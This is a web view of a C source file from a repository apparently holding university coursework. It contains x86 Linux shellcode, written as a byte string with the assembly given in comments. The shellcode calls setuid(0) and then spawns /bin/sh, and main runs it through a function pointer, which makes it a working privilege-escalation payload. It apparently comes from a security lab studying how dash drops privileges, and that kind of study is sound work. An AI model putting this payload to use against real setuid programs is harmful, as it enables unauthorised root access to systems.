uni

University stuff
git clone git://git.margiolis.net/uni.git
Log | Files | Refs | README | LICENSE

dash_shellcode.c (665B)


      1 #include <string.h>
      2 
      3 static const char code[] =
      4 	/* setuid(0) */
      5 	"\x31\xc0"	/* xorl		%eax, %eax	*/
      6 	"\x31\xdb"	/* xorl		%ebx, %ebx	*/
      7 	"\xb0\xd5"	/* movb		$0xd5, %al	*/
      8 	"\xcd\x80"	/* int		$0x80		*/
      9 
     10 	/* same code as in shellcode.c */
     11 	"\x31\xc0"	/* xorl		%eax, %eax	*/
     12 	"\x50"		/* pushl	%eax		*/
     13 	"\x68""//sh"	/* pushl	addr		*/
     14 	"\x68""/bin"	/* pushl	addr		*/
     15 	"\x89\xe3"	/* movl		%esp, %ebx	*/
     16 	"\x50"		/* pushl	%eax		*/
     17 	"\x53"		/* pushl	%ebx		*/
     18 	"\x89\xe1"	/* movl		%esp, %ecx	*/
     19 	"\x99"		/* cdq				*/
     20 	"\xb0\x0b"	/* movb		$0x0b, %al	*/
     21 	"\xcd\x80"	/* int		$0x80		*/
     22 	;
     23 
     24 int
     25 main(int argc, char *argv[])
     26 {
     27 	void (*sc)() = (void *)code;
     28 	sc();
     29 
     30 	return (0);
     31 }